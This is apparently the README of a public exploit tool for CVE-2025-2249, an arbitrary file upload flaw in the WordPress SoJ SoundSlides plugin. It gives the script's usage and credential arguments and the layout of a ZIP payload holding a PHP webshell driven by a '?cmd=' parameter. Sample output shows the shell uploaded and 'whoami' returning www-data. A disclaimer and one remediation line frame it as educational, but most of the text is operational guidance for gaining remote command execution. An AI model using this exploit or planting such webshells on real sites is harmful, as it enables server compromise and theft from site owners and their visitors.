
WordPress SoJ SoundSlides Plugin <= 1.2.2 is vulnerable to Arbitrary File Upload
⚠️ DISCLAIMER: This exploit is for educational and authorized testing purposes only.
The SoJ SoundSlides plugin allows authenticated users with Contributor or higher roles to upload arbitrary ZIP files. Due to missing validation, attackers can upload PHP webshells that are extracted and executed from a web-accessible directory.
An attacker with valid WordPress credentials can:
?cmd=)usage: CVE-2025-2249.py [-h] -u URL -un USERNAME -p PASSWORD
Exploit for CVE-2025-2249 | WordPress SoJ SoundSlides Plugin # By Nxploited | Khaled ALenazi,
options:
-h, --help show this help message and exit
-u, --url URL WordPress base URL
-un, --username USERNAME
WordPress username
-p, --password PASSWORD
WordPress password
| Argument | Description |
|---|---|
-u | WordPress base URL |
-un | WordPress username |
-p | WordPress password |
readme.txtnxploit/
├── index.html
├── data/
│ └── data.xml
├── audio/
│ └── audio.mp3
└── nxploit.php ← PHP shell (?cmd=)
[*] Checking plugin version...
[+] Vulnerable version detected.
[*] Logging in...
[+] Login successful.
[*] Uploading shell...
[*] Shell uploaded: http://target/wp-content/uploads/SoundSlides/nxploit_shell/nxploit.php
> whoami
www-data
wp-content/uploads/ for unexpected .php filesBuilt with ❤️ by [Nxploited | Khaled ALenazi]
For education, awareness, and defense.
Security is everyone's responsibility. Always test ethically, report responsibly, and protect the web.